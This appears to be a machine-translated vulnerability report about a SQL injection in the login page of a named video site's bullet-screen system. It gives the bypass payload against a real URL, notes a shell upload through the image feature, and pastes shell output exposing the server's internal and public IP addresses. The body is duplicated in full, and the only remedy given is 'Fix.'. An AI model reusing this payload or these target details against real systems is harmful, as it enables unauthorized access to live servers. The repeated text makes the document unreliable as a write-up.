A certain potato system SQL injection to Getshell

A certain potato system SQL injection to Getshell

Rt

Http://xianchang03.danmu.tudou.com/login.do

The potato bullet Screen System reported a weak password before, but there was actually an injection for login.


Admin 'or '1' = '1 direct bypass Login
 

You can control the bullet screen.


You can use shell to filter images in the background.
 

 

/Home/app_admin/apache-tomcat/webapps/dmfile/> iduid = 501 (app_admin) gid = 501 (app_admin) groups = 501 (app_admin) /home/app_admin/apache-tomcat/webapps/dmfile> ifconfigeth0 Link encap: Ethernet HWaddr 00: 18: 51: 1D: 52: 20 inet addr: 10.108.19.65 Bcast: 10.108.19.255 Mask: 255.255.255.0 inet6 addr: fe80: 218: 51ff: fe1d: 5220/64 Scope: Link up broadcast running multicast mtu: 1500 Metric: 1 RX packets: 221236474134 errors: 0 dropped: 0 overruns: 0 frame: 0 TX packets: 221450227112 errors: 0 dropped: 0 overruns: 0 carrier: 0 collisions: 0 txqueuelen: 0 RX bytes: 252483004549751 (229.6 TiB) TX bytes: 20605763332642 (18.7 TiB) eth1 Link encap: Ethernet HWaddr 00: 18: 51: 59: 22: 64 inet addr: 101.227.9.28 Bcast: 101.227.9.255 Mask: 255.255.255.0 inet6 addr: fe80: 218: 51ff: fe59: 2264/64 Scope: Link up broadcast running multicast mtu: 1500 Metric: 1 RX packets: 450103026 errors: 0 dropped: 0 overruns: 0 frame: 0 TX packets: 13208323 errors: 0 dropped: 0 overruns: 0 carrier: 0 collisions: 0 txqueuelen: 0 RX bytes: 27841613550 (25.9 GiB) TX bytes: 8370498080 (7.7 GiB) lo Link encap: local Loopback inet addr: 127.0.0.1 Mask: 255.0.0.0 inet6 addr ::: 1/128 Scope: Host up loopback running mtu: 65536 Metric: 1 RX packets: 158360007 errors: 0 dropped: 0 overruns: 0 frame: 0 TX packets: 158360007 errors: 0 dropped: 0 overruns: 0 carrier: 0 collisions: 0 txqueuelen: 0 RX bytes: 32129258181 (29.9 GiB) TX bytes: 32129258181 (29.9 GiB) Intranet

Http://xianchang03.danmu.tudou.com/login.do

The potato bullet Screen System reported a weak password before, but there was actually an injection for login.

Admin 'or '1' = '1 direct bypass Login
 

You can control the bullet screen.

You can use shell to filter images in the background.
 

 

/Home/app_admin/apache-tomcat/webapps/dmfile/> iduid = 501 (app_admin) gid = 501 (app_admin) groups = 501 (app_admin) /home/app_admin/apache-tomcat/webapps/dmfile> ifconfigeth0 Link encap: Ethernet HWaddr 00: 18: 51: 1D: 52: 20 inet addr: 10.108.19.65 Bcast: 10.108.19.255 Mask: 255.255.255.0 inet6 addr: fe80: 218: 51ff: fe1d: 5220/64 Scope: Link up broadcast running multicast mtu: 1500 Metric: 1 RX packets: 221236474134 errors: 0 dropped: 0 overruns: 0 frame: 0 TX packets: 221450227112 errors: 0 dropped: 0 overruns: 0 carrier: 0 collisions: 0 txqueuelen: 0 RX bytes: 252483004549751 (229.6 TiB) TX bytes: 20605763332642 (18.7 TiB) eth1 Link encap: Ethernet HWaddr 00: 18: 51: 59: 22: 64 inet addr: 101.227.9.28 Bcast: 101.227.9.255 Mask: 255.255.255.0 inet6 addr: fe80: 218: 51ff: fe59: 2264/64 Scope: Link up broadcast running multicast mtu: 1500 Metric: 1 RX packets: 450103026 errors: 0 dropped: 0 overruns: 0 frame: 0 TX packets: 13208323 errors: 0 dropped: 0 overruns: 0 carrier: 0 collisions: 0 txqueuelen: 0 RX bytes: 27841613550 (25.9 GiB) TX bytes: 8370498080 (7.7 GiB) lo Link encap: local Loopback inet addr: 127.0.0.1 Mask: 255.0.0.0 inet6 addr ::: 1/128 Scope: Host up loopback running mtu: 65536 Metric: 1 RX packets: 158360007 errors: 0 dropped: 0 overruns: 0 frame: 0 TX packets: 158360007 errors: 0 dropped: 0 overruns: 0 carrier: 0 collisions: 0 txqueuelen: 0 RX bytes: 32129258181 (29.9 GiB) TX bytes: 32129258181 (29.9 GiB) Intranet

Solution:

Fix.